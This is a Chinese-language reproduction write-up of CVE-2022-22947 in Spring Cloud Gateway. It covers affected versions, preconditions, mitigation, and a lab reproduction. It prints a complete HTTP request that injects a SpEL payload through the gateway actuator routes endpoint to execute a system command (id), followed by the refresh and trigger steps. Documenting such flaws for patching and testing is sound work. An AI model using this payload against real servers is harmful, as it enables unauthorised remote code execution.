環境部署
使用docker部署環境
漏洞等級:高危
3 月 1 日,VMware 官方發布安全公告,聲明對 Spring Cloud Gateway 中的一處命令注入漏洞進行了修復,漏洞編號為CVE-2022-22947
Spring官方發布
漏洞描述
使用 Spring Cloud Gateway 的應用如果對外暴露了 Gateway Actuator 接口,則可能存在被 CVE-2022-22947 漏洞利用的風險。攻擊者可通過利用此漏洞執行 SpEL 表達式,從而在目標服務器上執行任意惡意代碼,獲取系統權限。
影響范圍
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他舊的、不受支持的 Spring Cloud Gateway 版本
漏洞利用前置條件
除了 Spring Cloud Gateway 外,程序還用到了 Spring Boot Actuator 組件(它用于對外提供 /actuator/ 接口);
#Spring 配置對外暴露 gateway 接口,如 application.properties 配置為:
默認為truemanagement.endpoint.gateway.enabled=true
#以逗號分隔的一系列值,默認為 health
#若包含 gateway 即表示對外提供 Spring Cloud Gateway 接口
management.endpoints.web.exposure.include=gateway
解決方案
3.1.x 版本用戶應升級到 3.1.1+ 版本,3.0.x 版本用戶應升級到 3.0.7+ 版本。
或者在不考慮影響業務的情況下禁用 Gateway actuator 接口:如application.properties 中配置 management.endpoint.gateway.enabled 為 false。
復現過程
使用burp抓包,直接上字典掃描目錄
掃描出了存在
/actuator路徑,里面有很多spring常見的接口路徑
我們先查看路由/actuator/gateway/routes
然后創建一條包含惡意代碼的路由:
POST /actuator/gateway/routes/error HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 336{"id": "error","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri": "http://example.com"
}
接著以POST方法請求
/actuator/gateway/refresh
用于刷新路由,使剛添加的惡意路由生效
最后以GET方法請求/actuator/gateway/routes
,觸發惡意路由,可以 看到之前的id命令被執行了
真實環境測試時證明漏洞存在后記得將惡意路由刪除,使用DELETE
再次刷新路由/actuator/gateway/refresh,
然后查看路由,恢復到測試之前的樣子了:
參考鏈接:https://blog.csdn.net/qq_49619863/article/details/127350543
https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247490095&idx=1&sn=8bdc76de3ebaa557c9e56b33d803c112&chksm=90393cdfa74eb5c90587c4a6549a6cd9e0aaec2fa53d531c1e1362260b5e6c12c4fa3516cece&scene=27